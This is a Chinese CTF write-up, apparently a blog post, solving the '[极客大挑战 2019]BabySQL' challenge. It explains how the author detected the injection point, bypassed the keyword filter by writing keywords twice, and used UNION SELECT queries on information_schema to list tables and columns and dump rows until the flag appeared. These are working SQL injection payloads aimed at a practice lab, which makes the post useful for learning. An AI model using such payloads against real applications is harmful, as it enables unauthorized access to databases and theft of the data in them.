[极客大挑战 2019]BabySQL

该文章详细阐述了一个SQL注入的解题过程,包括如何构造SQL语句来检测注入点,识别后端SQL语句结构,以及如何通过双写关键词来绕过后端的过滤系统。作者通过一系列查询获取了数据库的表名、字段名,并最终揭示了存储在特定表中的flag信息。

摘要生成于 C知道 ,由 DeepSeek-R1 满血版支持, 前往体验 >

题目分析

1.访问网址
在这里插入图片描述这是一个sql注入的题目

2.判断是否存在注入点

#后端sql语句应该为
select * from users where username=$_GET['username'] and password=$_GET['password']

#所以我们需要构造检测注入点
#构造sql语句
select * from users where username='admin' or 1=1#' and password=''
#输入的数值为
admin' or 1=1#

在这里插入图片描述提示让我们检查 1=1#‘ and password=‘134’这里;根据’134’,我们知道后端使用单引号闭合,而且我们更加确定后端sql语句是

select * from users where username='' and password=''
#而不是
select '','' from users;#第一个内是username,第二个内是password

我们再加长一下条件,测试一下是否过滤了某些关键词

username=admin' and 1=1 or 1=1#
password=123 

在这里插入图片描述这里提示报错时,我们发现我们输入的and和or都没了,猜测后端应该时匹配到and和or以后,就把他们删除了,所以我们采用双关键词绕过,构造包如下

在这里插入图片描述发现登录成功,存在注入点
3.构造sql语句,获取信息
在这里插入图片描述发现返回三个值时,会显示登录成功,其余情况都显示下标不对,所以应该返回三个值,而且,如果语句正确,会返回登录成功,否则会返回报错

所以,做到这里,我们就知道本题是一道 双关键词过滤的sql注类题目

4.爆出信息

获取表名

#注意对select,from ,or 等关键词双写绕过
union select 1,(select group_concat(table_name) from
information_schema.tables where table_schema =database()
),3%23

在这里插入图片描述收获两张表,分别是b4bsql,geekuser

获取每个表的字段

#注意对select,from ,or 等关键词双写绕过
union select 1,(select group_concat(column_name) from
information_schema.columns where table_name='b4bsql' and
table_schema=database()),(select group_concat(column_name) from
information_schema.columns where table_name='geekuser' and
table_schema=database())

在这里插入图片描述
获取每个表的字段中的数据

#注意对select,from ,or 等关键词双写绕过,修改0的值(其表示第几行数据(从0开始标号)),直到爆出结果
union select id,username,password from b4bsql limit 0,1

到第7条数据爆出flag
在这里插入图片描述
flag{2bd2d334-18ea-45d8-accd-e11724531033}

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值